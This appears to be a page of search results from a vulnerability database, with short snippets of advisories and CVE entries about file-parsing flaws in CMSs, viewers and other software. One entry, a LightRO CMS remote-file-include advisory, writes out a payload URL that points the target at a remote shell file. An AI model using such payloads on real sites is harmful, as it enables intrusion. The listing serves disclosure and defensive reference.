544 matches found
SDCMS某处设计缺陷导致遍历任意文件内容
简要描述： SDCMS某处设计缺陷导致遍历任意文件内容 详细说明： 1、首先看看缺陷文件： 文件/sdcms/admin/sdtheme.asp ...... 第138行： case "edit" dim filename:filename=sdcms.fget"filename",0 if notsdcms.checkstrfilename,"filename" then sdcms.echo "filename is wrong" sdcms.die end if if notsdcms.isfile"../theme/"&filename then sdcms.echo...
Rama Zeiten CMS - download.php Remote File Disclosure
Rama Zeiten CMS - download.php Remote File Disclosure source: https://www.securityfocus.com/bid/54467/info Rama Zeiten CMS is prone to a remote file-disclosure vulnerability because it fails to properly sanitize user-supplied input. An attacker can exploit this vulnerability to view local files i...
Ubuntu 10.04 LTS / 11.04 / 11.10 / 12.04 LTS : firefox vulnerabilities (USN-1430-1)
Bob Clary, Christian Holler, Brian Hackett, Bobby Holley, Gary Kwong, Hilary Hall, Honza Bambas, Jesse Ruderman, Julian Seward, and Olli Pettay discovered memory safety issues affecting Firefox. If the user were tricked into opening a specially crafted page, an attacker could exploit these to cau...
xnview 1.98.5 - Multiple Vulnerabilities
Luigi Auriemma Application: XnView http://www.xnview.com Versions: = 1.98.5 Platforms: Windows Bugs: A integer overflow in width/height calculation B jpeg heap overflow C ICO heap overflow D PCX heap overflow E FLI heap overflow Exploitation: via file Date: 16 Feb 2012 Author: Luigi Auriemma...
GenStat 14.1.0.5943 - Multiple Vulnerabilities
GenStat 14.1.0.5943 - Multiple Vulnerabilities Luigi Auriemma Application: GenStat http://www.vsni.co.uk/software/genstat/ Versions: = 14.1.0.5943 Platforms: Windows Bugs: A array overflow with write2 B heap overflow Exploitation: file Date: 01 Oct 2011 Author: Luigi Auriemma e-mail:...
Vulnerabilities in EViews 7.2
Luigi Auriemma Application: EViews http://www.eviews.com Versions: = 7.0.0.1 aka 7.2 Platforms: Windows Bugs: A memory corruption B heap overflow Exploitation: file Date: 19 Sep 2011 Author: Luigi Auriemma e-mail: [email protected] web: aluigi.org 1 Introduction 2 Bugs 3 The Code 4 Fix...
Arbitrary memory corruption in NCSS 07.1.21
Luigi Auriemma Application: NCSS aka NCSS 2007 http://www.ncss.com/ncss.html Versions: = 07.1.21 Platforms: Windows Bug: array overflow with write2 Exploitation: file Date: 28 Sep 2011 Author: Luigi Auriemma e-mail: [email protected] web: aluigi.org 1 Introduction 2 Bug 3 The Code 4 Fix...
CVE-2011-3343
Multiple buffer overflows in OpenTTD before 1.1.3 allow local users to cause a denial of service daemon crash or possibly gain privileges via 1 a crafted BMP file with RLE compression or 2 crafted dimensions in a BMP file...
ZipExplorer 7.0 - .zar Denial of Service
ZipExplorer 7.0 - .zar Denial of Service !/usr/bin/python Title: ZipExplorer 7.0 .zar DoS Advisory: http://www.corelan.be:8800/advisories.php?id=10-045 Author: TecR0c - http://tecninja.net/blog Found by: TecR0c - http://twitter.com/TecR0c Date: June 1st, 2010 Download:...
CVE-2009-4324
Use-after-free vulnerability in the Doc.media.newPlayer method in Multimedia.api in Adobe Reader and Acrobat 9.x before 9.3, and 8.x before 8.2 on Windows and Mac OS X, allows remote attackers to execute arbitrary code via a crafted PDF file using ZLib compressed streams, as exploited in the wild...
CVE-2009-3829
Integer overflow in wiretap/erf.c in Wireshark before 1.2.2 allows remote attackers to execute arbitrary code or cause a denial of service application crash via a crafted erf file, related to an "unsigned integer wrap vulnerability."...
CVE-2009-1438
Integer overflow in the CSoundFile::ReadMed function src/loadmed.cpp in libmodplug before 0.8.6, as used in gstreamer-plugins, TTPlayer, and other products, allows context-dependent attackers to execute arbitrary code via a MED file with a crafted 1 song comment or 2 song name, which triggers a...
CVE-2008-2942
Directory traversal vulnerability in patch.py in Mercurial 1.0.1 allows user-assisted attackers to modify arbitrary files via ".." dot dot sequences in a patch file...
CVE-2007-4352
Array index error in the DCTStream::readProgressiveDataUnit method in xpdf/Stream.cc in Xpdf 3.02pl1, as used in poppler, teTeX, KDE, KOffice, CUPS, and other products, allows remote attackers to trigger memory corruption and execute arbitrary code via a crafted PDF file...
CVE-2007-5718
vobcopy 0.5.14 allows local users to append data to an arbitrary file, or create an arbitrary new file, via a symlink attack on the 1 /tmp/vobcopy.bla or 2 /tmp/vobcopy0.5.14.log temporary file...
EUVD-2007-0247
Heap-based buffer overflow in OpenOffice.org OOo 2.2.1 and earlier allows remote attackers to execute arbitrary code via a RTF file with a crafted prtdata tag with a length parameter inconsistency, which causes vtable entries to be overwritten...
lightro-rfi.txt
Title : LightRO CMS 1 betainhalt.php Remote File Include Vulnerability Author : ajann Contact : : S.Page : http://www.lightro.de.tc/ $$ : Free ERROR .. ... ..... .. ... ..... ERROR RFI http://target/path/inhalt.php?dateiennews=SHELL Example: //inhalt.php?dateiennews=http://target/path/shell.x /RF...
GLSA-200503-13 : mlterm: Integer overflow vulnerability
The remote host is affected by the vulnerability described in GLSA-200503-13 mlterm: Integer overflow vulnerability mlterm is vulnerable to an integer overflow that can be triggered by specifying a large image file as a background. This only effects users that have compiled mlterm with the 'gtk'...
realnetworks realarcade 1.2.0.994 - Multiple Vulnerabilities
source: https://www.securityfocus.com/bid/12494/info Multiple remote vulnerabilities reportedly affect RealNetworks RealArcade. The first issue allows for arbitrary file deletion due to an input validation issue. The second issue is an integer overflow issue resulting in code execution. Both of...
